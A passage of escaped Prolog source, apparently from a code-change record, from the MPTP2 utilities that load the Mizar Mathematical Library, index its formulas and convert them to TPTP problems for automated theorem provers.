UI1\n\t),!,\n\t(member( opt_ADD_INTEREST, Options) ->\n\t    NewUI = [interesting(Intrst) | UI]\n\t;\n\t    NewUI = UI\n\t),\t\n\tprint(fof(Q,Role,SR2,S1,NewUI)),\n\twrite('.'), nl.\n\nprint_for_nd(Q,InfKind,Refs,Assums,Options):- throw(print_for_nd(Q,InfKind,Refs,Assums,Options)).\n\n%%%%%%%%%%%%%%%%%%%% MML loading and indexing %%%%%%%%%%%%%%%%%%%%\n\n%% allowed file extensions for theory files\ntheory_exts([dcl,dco,evl,sch,the,lem,zrt]).\n\n%% Kind must be in theory_exts\nload_theory_files(Kind):-\n\tatom(Kind),\n\ttheory_exts(Exts),\n\tmember(Kind, Exts),\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, '*.', Kind, '2'], Anames),\n\tstring_to_atom(WildCard, Anames),\n\texpand_file_name(WildCard, Names),\n\tload_files(Names,[silent(true)]).\n\n%% get_absolute_path_for(+Kind, +MMLDir, +NonMMLDir, +Article, -Path)\n%%\n%% tries with MMLDir, if not found, succeeds with NonMMLDir\nget_absolute_path_for(Kind, MMLDir, NonMMLDir, Article, Path):-\n\tconcat_atom([MMLDir, Article, '.', Kind, '2' ], MMLPath),\n\t(\n\t  exists_file(MMLPath) ->\n\t  Path = MMLPath\n\t;\n\t  concat_atom([NonMMLDir, Article, '.', Kind, '2' ], Path)\n\t).\n%% load_theory_files_for(+NonMMLDir, +Articles, +Kind)\nload_theory_files_for(NonMMLDir, Articles, Kind):-\n\tatom(Kind),\n\ttheory_exts(Exts),\n\tmember(Kind, Exts),\n\tmml_dir_atom(MMLDir),\n\tmaplist(get_absolute_path_for(Kind, MMLDir, NonMMLDir), Articles, Paths1),\n\tsublist(exists_file,Paths1,ToLoad1),\n\tload_files(ToLoad1,[silent(true)]).\n\n\nload_clusters:- load_theory_files(dcl).\nload_constructors:- load_theory_files(dco).\nload_environs:- load_theory_files(evl).\nload_schemes:- load_theory_files(sch).\nload_theorems:- load_theory_files(the).\nload_lemmas:- load_theory_files(lem).\nload_numtypes:- load_theory_files(zrt).\n\n%% do not load top-level lemmas by default;\n%% if you do, take care of their local constants and similar stuff\nload_mml:-\n\tload_clusters,load_theorems,load_schemes,\n\tload_constructors,load_environs,load_numtypes.\n\n%% load_mml_for_article(+Article, +ArticleDir, +AddedNonMML)\n%%\n%% The ArticleDir is assumed to be the location of the .evl2 file,\n%% and also the location of all nonMML articles (those in the AddedNonMML list).\nload_mml_for_article(Article, ArticleDir, AddedNonMML):-\n\tconcat_atom([ArticleDir, '/', Article, '.evl2'], EvlFile),\n\tconsult(EvlFile),\n\tensure(needed_environ(Article, AddedNonMML, Articles), needed_environ(Article)),\n\tExtensions = [dcl,dco,evl,sch,the,zrt], % lemmas not needed from others\n\tchecklist(load_theory_files_for(ArticleDir, Articles), Extensions).\n\n% should fail - load with theorems and propositions first\n%% ##NOTE: this can fail depending on wjther preprocessing stages\n%%         (scheme instances, henkin axioms, ...) have been performed\ncheck_refs:-\n\tfof(_,_,_,_,[mptp_info(_,_,_,_,_),inference(mizar_by,_,I) |_]),\n\tmember(P,I),\n\tnot(fof(P,_,_,_,_)).\n\n% should fail\ncheck_consts:-\n\tFile=abcmiz_0,\n\tfindall(L1,(fof(_,_,F,file(File,_),_),collect_symbols_top(F,L1)),L2),\n\tunion1(L2,[],L),!,\n\tmember(Const,L),\n\tatom_prefix(Const,'c'),\n\tnot(fof(_,_,_,file(File,Const),_)).\n\n%% encode and decode between [1,2,3] and '1_2_3'\nlevel_atom(List,Atom):- atom(Atom), !, concat_atom(V1,'_',Atom),\n\tmaplist(atom_number,V1,List).\nlevel_atom([H|T],Atom):- ground([H|T]),\n\tmaplist(atom_number,V1,[H|T]),\n\tconcat_atom(V1,'_',Atom).\n\n%% strip_univ_quant(+FlaIn,-StrippedFla,-UnivVars)\nstrip_univ_quant((! Vars : X ),Y,[Vars | VarsX]):- !,strip_univ_quant(X,Y,VarsX).\nstrip_univ_quant(X,X,[]).\n\n%% strip_possible_antecedent(+FlaIn,-StrippedFla)\n%%\n%% strip at most one antecedent if any exists\nstrip_possible_antecedent(( _ => B), B):- !.\nstrip_possible_antecedent(X,X).\n\n%% installs the indeces for fast lookup of fof's;\n%% should be called only after addition of custom fof's like\n%% scheme instance, e.g.:\n%% declare_mptp_predicates,assert_sch_instances(File), install_index\n%% ##NOTE: article_positions are not installed here, that is done\n%%         only once after loading a full article, since that can change\n%%         later by doing e.g. the fraenkel abstraction\ninstall_index:-\n\tabolish(fof_name/2),\n\tdynamic(fof_name/2),\n\tabolish(fof_file/2),\n\tdynamic(fof_file/2),\n\tabolish(fof_eq_def/2),\n\tdynamic(fof_eq_def/2),\n\tabolish(fof_section/2),\n\tdynamic(fof_section/2),\n\tabolish(fof_level/2),\n\tdynamic(fof_level/2),\n\tabolish(fof_newlevel/3),\n\tdynamic(fof_newlevel/3),\n\tabolish(fof_toplevel/2),\n\tdynamic(fof_toplevel/2),\n\tabolish(fof_parentlevel/2),\n\tdynamic(fof_parentlevel/2),\n\tabolish(fof_cluster/3),\n\tdynamic(fof_cluster/3),\n\tabolish(fof_identifyexp/3),\n\tdynamic(fof_identifyexp/3),\n\tabolish(rc_syms_for_consider/7),\n\tabolish(fof_req/3),\n\tdynamic(fof_req/3),\n\tabolish(sym_ref_graph/2),\n\tdynamic(sym_ref_graph/2),\n\tabolish(fof_ante_sym_cnt/4),\n\tdynamic(fof_ante_sym_cnt/4),\n\tabolish(fof_redefines/4),\n\tdynamic(fof_redefines/4),\n%\tindex(fof_name(1,1)),\n%\tadd_hidden,\n\tlogic_syms(LogicSyms),\n\trepeat,\n\t(\n\t  clause(fof(Ref1,Role1,Fla1,file(File1,Sec1), [mptp_info(_,L_1,MKind,_,Spc)|RestInfo]),_,Id),\n\t  assert(fof_name(Ref1, Id)),\n\t  assert(fof_file(File1, Id)),\n\t  assert(fof_section(Sec1, Id)),\n\t  assert_level(L_1, File1, RestInfo, Id),\n\t  assert_syms(MKind,Ref1,Role1,L_1,Fla1,File1,Id,LogicSyms,Sec1,Spc),\n\t  fail\n\t;\n\t  true\n\t),\n\tfindall(Llev1, fof_level(Llev1, _), Levs),\n\tsort(Levs, Levs1),!,\n\trepeat,\n\t(\n\t  member(Lev1,Levs1),\n\t  level_atom(L_l1,Lev1),\n\t  L_l1 = [_,_|_],\n\t  append(L2, [_], L_l1),\n\t  level_atom(L2, Lev2),\n\t  assert(fof_parentlevel(Lev2,Lev1)),\n\t  fail\n\t;\n\t  true\n\t),!.\n\t\n\n\nassert_level([], Article, RestInfo, Id):- !,\n\tassert(fof_toplevel(Article, Id)),\n\tassert_newlevel(RestInfo, Article, Id).\nassert_level([H|T],Article, RestInfo, Id):- !,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_level(Lev1, Id)),\n\tassert_newlevel(RestInfo, Article, Id).\nassert_level(_,_,_,_).\n\n%% this keeps the article, because toplevel theorem from MML \n%% have nontrivial newlevels which we want to avoid.\nassert_newlevel([inference(mizar_proof,[proof_level([H|T])|_],_)|_], Article, Id):- !,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_newlevel(Lev1, Article, Id)).\nassert_newlevel(_,_,_).\n\n%% this differs from assert_newlevel only for efficiency of indexing -\n%% it is called at different place.\nassert_cluster_newlevel([proof_level([H|T])|_],Article,Id):- !,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_newlevel(Lev1, Article, Id)).\nassert_cluster_newlevel(_,_,_).\n\n\nassert_rc_syms(RCl, Fla, File):-\n\tstrip_univ_quant(Fla, (? [Var : Radix] : sort(Var, Attrs) ), _),\n\tconstr2list('&', _Last, AndList, Attrs),!,\n\tprocess_attrsmode_list_for_cons(AndList, ConsAttrs0, _),\n\tcreate_cons_info(ConsAttrs0, Radix, [ConsMode, FuncsNr, AttrsNr, FuncSyms, AttrSyms]),\n\tassert(rc_syms_for_consider(RCl, File, ConsMode, FuncsNr,\n\t\t\t\t\t  AttrsNr, FuncSyms, AttrSyms)).\n\n%% ###TODO: requiring all rc symbols seems to be too restrictive, and\n%%   probably leads to incompleteness of e3_41__waybel33, due to\n%%   lack of rc3_waybel19; the right condition is that all symbols\n%%   involved in rc's universally quantified variables (i.e. those on which\n%%   the last existantial var depends) have to be already present in the problem,\n%%   and probably also the radix mode (with possible functors inside);\n%%   this could however get quite wild, and we should probably watch the set\n%%   of constants and variables in the problem, and only add to the fixpoint algo\n%%   those attributes which appear in their types; also we shouldn't add an rc\n%%   when it only takes care of a const/var type which is already taken care of\nassert_syms(rcluster,Ref1,_,_,Fla1,File1,Id,LogicSyms,_,Spc):- !,\n\t    collect_symbols_top(Fla1,AllSyms),\n\t    subtract(AllSyms,LogicSyms,Syms),\n\t    assert(fof_cluster(File1,Ref1,Syms)),\n\t    assert_fxp_data(Ref1,File1,rcluster,Syms),\n\t    assert_rc_syms(Ref1, Fla1, File1),\n\t    assert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(definition,_,definition,[],Fla1,_,Id,_,_,_):-\n\tstrip_univ_quant(Fla1, ( KTerm = _), _),\n\tnonvar(KTerm),\n\tKTerm =..[KFun|_],\n\tatom_chars(KFun,[k|_]),\n\tassert(fof_eq_def(KFun, Id)),!.\n\nassert_syms(definition,_,definition,[],Fla1,_,Id,_,_,_):-\n\tstrip_univ_quant(Fla1, ( sort(Var,STerm) <=> _), _),\n\tvar(Var),\n\tnonvar(STerm),\n\tSTerm =..[SFun|_],\n\tatom_chars(SFun,[v|_]),\n\tassert(fof_sort_def(SFun, Id)),!.\n\nassert_syms(_,Ref1,definition,[],_,_,Id,_,Sec1,[redefinition(_,_,_,Sec2)|_]):-\n\tassert(fof_redefines(Sec1, Sec2, Ref1, Id)).\n\n%% ###TODO: take the symbols from the UnivVars also for clusters (definitions?)\nassert_syms(identifyexp,Ref1,_,_,Fla1,File1,Id,LogicSyms,_,Spc):- !,\n\tstrip_univ_quant(Fla1, Fla2, UnivVars),\n\tstrip_possible_antecedent(Fla2, ( KTerm = _)),\n\tcollect_symbols_top([KTerm | UnivVars], AllSyms),\n\tsubtract(AllSyms,LogicSyms,Syms),\n\tassert(fof_identifyexp(File1,Ref1,Syms)),\n\tassert_fxp_data(Ref1,File1,identifyexp,Syms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(fcluster,Ref1,_,_,Fla1,File1,Id,_,_,Spc):- !,\n\tcl_needed_syms_top(Fla1,AnteSyms),\n\tassert(fof_cluster(File1,Ref1,AnteSyms)),\n\tassert_fxp_data(Ref1,File1,fcluster,AnteSyms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(ccluster,Ref1,_,_,Fla1,File1,Id,_,_,Spc):- !,\n\tcl_needed_syms_top(Fla1,AnteSyms),\n\tassert(fof_cluster(File1,Ref1,AnteSyms)),\n\tassert_fxp_data(Ref1,File1,ccluster,AnteSyms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(theorem,Ref1,_,_,Fla1,File1,_,LogicSyms,_,_):-\n\tmember(File1,[numerals, boole, subset, arithm, real]),!,\n\tcollect_symbols_top(Fla1,AllSyms),\n\tsubtract(AllSyms,LogicSyms,Syms),\n\tassert(fof_req(File1,Ref1,Syms)),!,\n\tonce(assert_fxp_data(Ref1,File1,req,Syms)).\n\nassert_syms(_,_,_,_,_,_,_,_,_,_) :- !.\n\n%% Adds a link from a Symbol to Requirements containing\n%% that Symbol. When the symbol becomes available in fixpoint,\n%% all counts (implemented as flags) of Refs are decreased,\n%% and if they reach zero, the Refs are activated.\n%% sym_ref_graph(Symbol,Reqs)\nassert_fxp_data(Ref,File,MKind,AnteSyms):-\n\tchecklist(assert_sym_ref_link(Ref),AnteSyms),\n\tlength(AnteSyms,SymsLength),\n\tassert(fof_ante_sym_cnt(Ref,File,MKind,SymsLength)).\n\nassert_sym_ref_link(Ref,Sym):- assert(sym_ref_graph(Sym,Ref)).\n\n%% Initialize the symbol counters for each references registered\n%% by fof_ante_sym_cnt. Intended for fixpoint.\ninit_fxp_sym_flags:-\n\trepeat,\n\t(\n\t  fof_ante_sym_cnt(Ref,_File,_MKind,SymsLength),\n\t  flag(Ref,_,SymsLength),\n\t  fail\n\t;\n\t  true\n\t).\n\n%% decrease_fxp_sym_flags(+NewSyms, -ZeroedRefs)\n%%\n%% Decrease the fxp symbol counts (flags) for references\n%% containing NewSyms.\n%% Return the references which were zeroed.\ndecrease_fxp_sym_flags(NewSyms, ZeroedRefs):-\n\tmaplist(decrease_fxp_sym_flags1,NewSyms,Refs_l),\n\tappend_l(Refs_l,ZeroedRefs).\n\ndecrease_fxp_sym_flags1(NewSym, ZeroedRefs):-\t\n\tfindall(Ref,\n\t\t(\n\t\t  sym_ref_graph(NewSym,Ref),\n\t\t  flag(Ref,N,N-1),\n\t\t  N=1\n\t\t),\n\t\tZeroedRefs).\n\nfraenkel_ths(S):-\n\tfindall(A,(fof(A,theorem,D,_,_),collect_symbols_top(D,L),\n\t\t   member(all,L)),S),\n\tlength(S,N),write(N).\n\nfraenkel_info(S1):-\n\tfraenkel_ths(S),\n\tfindall([Out,Info],(member(A,S),fof(A,theorem,In,_,_),\n\t\t\t all_collect_top(In,Out,Info)),S1).\n\nexpanded_franks(Flas,D):-\n\tfraenkel_info(S),\n\tzip(Flas,Infos1,S),\n\tappend_l(Infos1,Infos),\n\tmk_fraenkel_defs_top(Infos,NewFrSyms,D),\n\tlength(D,N1), maplist(length,NewFrSyms,Lengths),\n\tsumlist(Lengths,N2),\n\tmaplist(collect_symbols_top,Flas,L),\n\tunion1(L,[],L2),length(L2,N3),write([N1,N2,N3]).\n\ndotimes(_,0).\ndotimes(X,N) :- N1 is N-1, (call(X);true), dotimes(X,N1).\n\n\n%%%%%%%%%%%%%%%%%%%% Prolog clauses for the type system %%%%%%%%%%%%%%%%%%%%\n\n% ##TEST: :- declare_mptp_predicates,load_mml,install_index,!, fof_cluster(A,B,C),fof(B,D,E,F,[mptp_info(_,_,ccluster,_,_)|_]),not(once(ccluster_to_clauses(E,J))).\n\n% ccluster_to_clauses(+CCl, -L)\n%\n% Print ccluster as Prolog clauses.\n% Prune from Conseq the things present in Antec\n% ![ArgTypes]: ![LastVar:Typ] : sort(LastVar,(AntecedentConjunct)) => sort(LastVar,ConsequentConjunct) \n% ArgTypes non empty followed by loci\n\n\nccluster_to_clauses(! QVars: (![V:T]: (sort(V,Antec) => sort(V,Conseq))), L):- !,\n\tappend(QVars, [V:T], QVars1),\n\tccluster_to_clauses(! QVars1: (sort(V,Antec) => sort(V,Conseq)), L).\n\nccluster_to_clauses(! QVars: (sort(V,Antec) => sort(V,Conseq)), L):- !,\n\tsort_transform_qlist(QVars, Varlist, QConjunct),\n\tsort_transform_top(sort(V,Antec), AntecConjunct),\n\tsort_transform_top(sort(V,Conseq), ConseqConjunct),\n\tBody = (QConjunct & AntecConjunct),\n\tpair_conj_to_clauses(Body, ConseqConjunct).\n\n\n% ##TEST: :- declare_mptp_predicates,load_mml,install_index,!, fof_cluster(A,B,C),fof(B,D,E,F,[mptp_info(_,_,fcluster,_,_)|_]),not(once(fcluster_to_clauses(E,J))).\n\nfcluster_to_clauses( sort(T,Conseq), L):- !,\n\tfcluster_to_clauses(! []: sort(T,Conseq), L).\n\nfcluster_to_clauses( ! QVars: sort(T,Conseq), L):- !,\n\tsort_transform_qlist(QVars, Varlist, Body),\n\tsort_transform_top(sort(T,Conseq), ConseqConjunct),\n\tpair_conj_to_clauses(Body, ConseqConjunct).\n\npair_conj_to_clauses(Body, ConseqConjunct):-\n\tconstr2list2(&,_,BodyList,Body),\n\tconstr2list2(&,_,HeadList,ConseqConjunct),\n\tnumbervars([HeadList,BodyList],0,_),\n\tsubtract(HeadList,BodyList,NewHeadList),\n\tfindall(dummy,(member(H,NewHeadList), write(H), write(' :- '), print_many(BodyList),write('.'),nl),_).\n\n\n% \"fof(\"; absk(#el=`.`,#kind=\"fc\"); \",theorem,\";\n%     apply[ArgTypes];\n%     $succ = { `count(Cluster[1]/*)`; }\n%     $srt_s; \"(\"; apply[*[$pres + 2]];  \",\";\n%     if [$succ = 0] { \"$true\"; } else {\n%     if [$succ = 1] { apply[Cluster[1]]; } \n%     else { \"( \"; apply[Cluster[1]]; \" )\"; } }\n%     \")\"; \",file(\"; lc(#s=`@aid`); \",\";\n%     absk(#el=`.`,#kind=\"fc\"); \"),[mptp_info(\"; `@nr`; \n%     \",[],fcluster,position(0,0),[\";\n\n\n\n% \"![\"; ploci(#nr=$l); \" : \"; apply[Typ]; \"]: (\"; \n%     $ante = { `count(*[$pres + 2]/*)`; }\n%     $succ = { `count(*[$pres + 4]/*)`; }\n%     $srt_s; \"(\"; ploci(#nr=$l); \",\";\n%     if [$ante = 0] { \"$true\"; } else {\n%     if [$ante = 1] { apply[*[$pres + 2]]; } \n%     else { \"( \"; apply[*[$pres + 2]]; \" )\"; } }\n%     \")\"; $imp_s; $srt_s; \"(\"; ploci(#nr=$l); \",\";\n%     if [$succ = 0] { \"$true\"; } else {\n%     if [$succ = 1] { apply[*[$pres + 4]]; } \n%     else { \"( \"; apply[*[$pres + 4]]; \" )\"; } }\n%     \"))\"; \",file(\"; lc(#s=`@aid`); \",\";\n\n\n"}, "files_after": {"utils.pl": "%%- -*-Mode: Prolog;-*--------------------------------------------------\n%%\n%% $Revision: 1.151 $\n%%\n%% File  : utils.pl\n%%\n%% Author: Josef Urban\n%%\n%%  MPTP2 Prolog utilities, tested only with SWI Prolog 5.2 now.\n%%  The top-level predicate is now mk_nonnumeric/0\n%%  or mk_first100/0, see below. You also need to set the mml_dir/1\n%%  location here appropriately.\n%%  The top-level predicate for createing MPTPChallenge problems is e.g.\n%%  :- mk_problems_from_file('mptp_chall_problems').\n%%------------------------------------------------------------------------\n\n\n%%%%%%%%%%%%%%%%%%%% Settings %%%%%%%%%%%%%%%%%%%%\n\n%% set this to the location of Prolog files created from MML\n%% ('pl' directory in the distro).\n%mml_dir(\"/home/urban/miztmp/distro/pl/\").\n%mml_dir(\"/home/urban/mptp/pl/\").\nmml_dir(\"/home/urban/rsrch/MPTP2/pl/\").\n%mml_dir(\"/big/urban/miztmp/mml3/tmp/\").\nmml_dir_atom(A):- mml_dir(S), string_to_atom(S,A).\n\n%% version of MML needed for requirements (encoding of numbers)\n%mml_version([4,48,930]).\nmml_version([4,100,1011]).\n%% switch to fail for debug\noptimize_fraenkel. % :- fail.\n\n%% appends __Article to local constants, lemmas, etc. - use it for\n%% mixing local stuff from different articles consistently.\n%% (all atoms starting with c[0-9]+_\nabsolute_locals. %%:- fail.\n\n\n%% debugging, Flags can be: [dbg_FRAENKELS,dbg_CLUSTERS,dbg_REQS,dbg_FIXPOINT,dbg_LEVEL_REFS]\ndbg_flags([]).\ndbg(Flag, Goal):-\n\tdbg_flags(Flags), member(Flag, Flags), !, Goal.\ndbg(_,_).\n\n%%%%%%%%%%%%%%%%%%%% End of settings %%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%%%%%%%%%% Options %%%%%%%%%%%%%%%%%%%%\nopt_available([opt_REM_SCH_CONSTS,\t%% generalize local constants in scheme instances\n\t       opt_MK_TPTP_INF,\t\t%% better tptp inference slot and no mptp_info\n\t       opt_TPTP_SHORT,\t        %% short tptp format (parsable by vampire too)\n\t       opt_NO_EX_BG_FLAS,       %% do not include existential background in fixpoint\n\t       opt_FXP_CHECK_CNSDR,     %% add rclusters for suspisous consider_justifications\n\t       opt_ADDED_NON_MML,       %% unary functor passing a list of nonMML article names\n\t       opt_NON_MML_DIR,         %% unary functor passing a nonstandard directory for the article\n\t       opt_LOAD_MIZ_ERRORS,     %% import err2 file with Mizar's errors\n\t       opt_PROB_PRINT_FUNC,\t%% unary functor passing a special printing func\n\t       opt_PRINT_PROB_PROGRESS, %% print processed problems to stdout\n\t       opt_ARTICLE_AS_TPTP_AXS, %% print the whole article as tptp axioms\n\t       opt_PP_SMALLER_INCLUDES, %% unary functor passing a list of possible includes,\n\t                                %% used with print_refs_as_tptp_includes\n\t       opt_TPTPFIX_ND_ROLE,\t%% make the role acceptable to GDV\n\t       opt_ADD_INTEREST,\t%% add interestingness to useful info\n\t       opt_LINE_COL_NMS,        %% problem are named LINE_COL instead\n\t       opt_CONJECTURE_NMS,      %% problem are named as its conjecture\n\t       opt_LEVEL_REF_INFO,      %% .refspec file with immediate references is printed\n\t       opt_ALLOWED_REF_INFO,    %% .allowed_local file with accessible references is printed\n\t       opt_PROVED_BY_INFO,      %% .proved_by0 file with orig refs (no bg) printed\n\t       opt_DBG_LEVS_POS,        %% print a debugging info for levels and positions\n\t       opt_NO_FRAENKEL_CONST_GEN, %% do not generalize local consts when abstracting fraenkels\n\t                                 %% (useful for fast translation, when consts are not loaded)\n\t       opt_LEARN_EDGE,           %% print fromula as labeled graph edges for learning\n\t       opt_LEARN_SYMS_SMALL      %% symbols are numbered starting from 0 instead of references\n\t      ]).\n\n%%%%%%%%%%%%%%%%%%%% End of options %%%%%%%%%%%%%%%%%%%%\n\n\nzip([],[],[]).\nzip([H|T],[H1|T1],[[H,H1]|T2]):- zip(T,T1,T2).\n\nzip_s(_,[],[],[]).\nzip_s(S,[H|T],[H1|T1],[Trm|T2]):-\n\tTrm =.. [S,H,H1],\n\tzip_s(S,T,T1,T2).\n\n% when the second is list of lists\nzip1([],[],[]).\nzip1([H|T],[H1|T1],[[H|H1]|T2]):- zip1(T,T1,T2).\n\nappend_l(In,Out):- reverse(In,In1),append_l1(In1,[],Out).\nappend_l1([],P,P).\nappend_l1([H|T],Done,Res):-\n\tappend(H,Done,Res1),\n\tappend_l1(T,Res1,Res).\n\n%% nonempty_intersection(Set1, Set2) (not used for anything now)\nnonempty_intersection([H|_],Set2):- memberchk(H,Set2),!.\nnonempty_intersection([_|T],Set2):- nonempty_intersection(T,Set2),!.\n\n%% succeed once or throw ecxeption\nensure(Goal, Exception):- Goal,!; throw(Exception).\n\n%% equivalence classes under binary predicate P\n%% eqclasses(EquivalencePredicate, InputList, EqClasses)\neqclasses(_,[],[]).\neqclasses(P,[H|T],[E_h|O_t]):-\n\teqcl1(P,H,[H|T],E_h,N_h),\n\teqclasses(P,N_h,O_t).\n\n% eqcl1(EquivalencePredicate, Member, InputList, Equivalent, NonEquivalent)\neqcl1(_,_,[],[],[]).\neqcl1(P,H1,[H2|I],[H2|O],R):-\n\tapply(P,[H1,H2]) -> eqcl1(P,H1,I,O,R),!.\neqcl1(P,H1,[H2|I],O,[H2|R]):-\n\teqcl1(P,H1,I,O,R).\n\n% insert into P-eqclasses (keeping copies)\n% eqc_insert(EquivalencePredicate, Member, InputEqClasses, OutputEqClasses)\neqc_insert(_,M,[],[[M]]).\neqc_insert(P,M,[[M1|H]|T],[[M,M1|H]|T]):-\n\tapply(P,[M,M1]),!.\neqc_insert(P,M,[H|T],[H|T1]):-\n\teqc_insert(P,M,T,T1).\n\n% stolen from tptp2X.main\n%----Runtime version of operators\ndeclare_TPTP_operators:-\n    op(99,fx,'$'),\n    op(100,fx,++),\n    op(100,fx,--),\n    op(100,xf,'!'),\n    op(405,xfx,'='),\n    op(405,xfx,'~='),\n    op(450,fy,~),\n    op(502,xfy,'|'),\n    op(502,xfy,'~|'),\n    op(503,xfy,&),\n    op(503,xfy,~&),\n    op(504,xfy,=>),\n    op(504,xfy,<=),\n    op(505,xfy,<=>),\n    op(505,xfy,<~>),\n%----! and ? are of higher precedence than : so !X:p(X) is :(!(X),p(X))\n%----Otherwise !X:!Y:p(X,Y) cannot be parsed.\n    op(400,fx,!),\n    op(400,fx,?),\n%----Need : stronger than + for equality and otter in tptp2X\n%----Need : weaker than quantifiers for !X : ~p\n    op(450,xfy,:),\n%---- .. used for range in tptp2X. Needs to be stronger than :\n    op(400,xfx,'..').\n\n:- declare_TPTP_operators.\nlogic_syms([++,--,'$',~,'|','~|',true,&,~&,=>,<=,<=>,<~>,!,?,:,'..',sort,all,'.',[]]).\n\n%% uncomment this for E prover versions earlier than 0.9\n% portray(A = B):- format(' equal(~p,~p) ',[A,B]).\nportray(~A):- write(' ~ ('), print(A), write(') ').\nportray(A & B):- format(' (~p & ~p) ',[A,B]).\nportray(A | B):- format(' (~p | ~p) ',[A,B]).\nportray(A => B):- format(' (~p => ~p) ',[A,B]).\nportray(A <=> B):- format(' (~p <=> ~p) ',[A,B]).\nportray(A : B):- var(A), format(' ( ~p : ~p) ',[A,B]).\nportray(! A : B):- format(' (! ~p : ~p) ',[A,B]).\nportray(? A : B):- format(' (? ~p : ~p) ',[A,B]).\nportray(A):- atom(A), constr_name(A,Name,Quote),\n\t((Quote==0, write(Name));\n\t    (Quote==1, write(''''),write(Name),write(''''))).\nportray(A):- atom(A), abs_name(A,Name), write(Name).\nportray(A):- compound(A), A =.. [F|L], constr_name(F,Name,Quote),\n\t((Quote==0, write(Name));\n\t    (Quote==1, write(''''),write(Name),write(''''))),\n\twrite('('), print_many(L), write(')').\n\nprint_many([]).\nprint_many([X]):- print(X),!.\nprint_many([X|Y]):- print(X), write(','), print_many(Y).\n\n% explain tstp parsing\nd2l(X,X):- atomic(X);var(X).\nd2l([],[]).\nd2l(X,Y):- X =.. Z, d2ls(Z,Y).\nd2ls([],[]).\nd2ls([H|T],[H1|T1]):- d2l(H,H1), d2ls(T,T1).\n\nterm2list(X,X):- (atomic(X);var(X)),!.\nterm2list(X,[H|T1]):- X =.. [H|T], maplist(term2list,T,T1).\n\ndeclare_mptp_predicates:-\n abolish(fof/4),\n abolish(fof/5),\n abolish(theory/2),\n abolish(constr_name/3),\n multifile(fof/4),\n multifile(fof/5),\n dynamic(fof/5),\n dynamic(constr_name/3),\n multifile(constr_name/3),\n multifile(theory/2),\n abolish(fof_name/2),\n abolish(fof_file/2),\n abolish(fof_eq_def/2),\n abolish(fof_section/2),\n abolish(fof_level/2),\n abolish(fof_toplevel/2),\n abolish(fof_newlevel/3),\n dynamic(fof_newlevel/3),\n abolish(fof_parentlevel/2),\n dynamic(fof_parentlevel/2),\n abolish(fof_cluster/3),\n dynamic(fof_cluster/3),\n abolish(fof_identifyexp/3),\n dynamic(fof_identifyexp/3),\n abolish(rc_syms_for_consider/7),\n abolish(fof_req/3),\n dynamic(fof_req/3),\n abolish(sym_ref_graph/2),\n dynamic(sym_ref_graph/2),\n abolish(fof_ante_sym_cnt/4),\n dynamic(fof_ante_sym_cnt/4),\n abolish(abs_name/2),\n dynamic(abs_name/2),\n abolish(miz_errors/1),\n dynamic(miz_errors/1),\n abolish(fof_redefines/4),\n dynamic(fof_redefines/4),\n abolish(fraenkel_cached/3),\n dynamic(fraenkel_cached/3),\n abolish(fraenkels_loaded/1),\n dynamic(fraenkels_loaded/1),\n abolish(sch_orig_copy/2),\n dynamic(sch_orig_copy/2),\n abolish(articles_numbered/1),\n dynamic(articles_numbered/1),\n abolish(article_position/2),\n dynamic(article_position/2),\n abolish(fxp_refsin_/1),\n dynamic(fxp_refsin_/1),\n abolish(fxp_allsyms_/1),\n dynamic(fxp_allsyms_/1),\n abolish(zerotyp/2),\n multifile(zerotyp/2),\n dynamic(zerotyp/2),\n abolish(nonzerotyp/2),\n multifile(nonzerotyp/2),\n dynamic(nonzerotyp/2),\n abolish(rec_sch_inst_name/2),\n dynamic(rec_sch_inst_name/2).\n% index(fof(1,1,0,1,1)),\n% index(fof(1,1,0,1)).\n\n%% this makes things very slow, do not use it\n% index(fof_name(1,1)).\n\n%% collect subterms satisfying P with count, test by equality\ncollect_with_count_top(Pred,Term,OutList,OutCounts):-\n\tcollect_with_count(Pred,Term,[],[],OutList,OutCounts),!.\ncollect_with_count(P,X,In,InC,Out,OutC):-\n\t(var(X);atomic(X)), !, collect_with_count1(P,X,In,InC,Out,OutC).\n%% neglects the head functor!\ncollect_with_count(P,X,In,InC,Out,OutC):-\n\tcollect_with_count1(P,X,In,InC,Out1,OutC1),\n\tX =.. [_|T1],\n\tcollect_with_countl(P,T1,Out1,OutC1,Out,OutC).\ncollect_with_countl(_,[],In,InC,In,InC).\ncollect_with_countl(P,[H|T],In,InC,Out,OutC):-\n\tcollect_with_count(P,H,In,InC,Out1,OutC1),\n\tcollect_with_countl(P,T,Out1,OutC1,Out,OutC).\n\n%% do the collecting\ncollect_with_count1(P,X,In,InC,Out,OutC):- apply(P,[X]),!,\n\t(enth1(N,In,X) ->\n\t    (Out = In, remove_at(C_X,InC,N,Tmp),\n\t\tsucc(C_X,C1_X), insert_at(C1_X,Tmp,N,OutC));\n\t    (Out = [X|In], OutC = [1|InC])).\ncollect_with_count1(_,_,In,InC,In,InC).\n\n%% exact select\neselect(A, [C|B], B):- A == C,!.\neselect(A, [B|C], [B|D]):- eselect(A, C, D).\n%% exact nth1\nenth1(A, B, C):- var(A), !, enth_gen(B, C, 1, A).\nenth_gen([A|_], A1, C, C):- A == A1.\nenth_gen([_|B], C, D, E) :-\n        succ(D, F),\n        enth_gen(B, C, F, E).\n\n%% remove K-th element (1-based)\n% remove_at(X,L,K,R) :- X is the K'th element of the list L; R is the\n%    list that remains when the K'th element is removed from L.\n%    (element,list,integer,list) (?,?,+,?)\nremove_at(X,[X|Xs],1,Xs).\nremove_at(X,[Y|Xs],K,[Y|Ys]) :- K > 1,\n   K1 is K - 1, remove_at(X,Xs,K1,Ys).\n\n% Insert an element at a given position into a list (1-based)\n% insert_at(X,L,K,R) :- X is inserted into the list L such that it\n%    occupies position K. The result is the list R.\n%    (element,list,integer,list) (?,?,+,?)\ninsert_at(X,L,K,R) :- remove_at(X,R,K,L).\n\n% Split a list into two parts\n% split(L,N,L1,L2) :- the list L1 contains the first N elements\n%    of the list L, the list L2 contains the remaining elements.\n%    (list,integer,list,list) 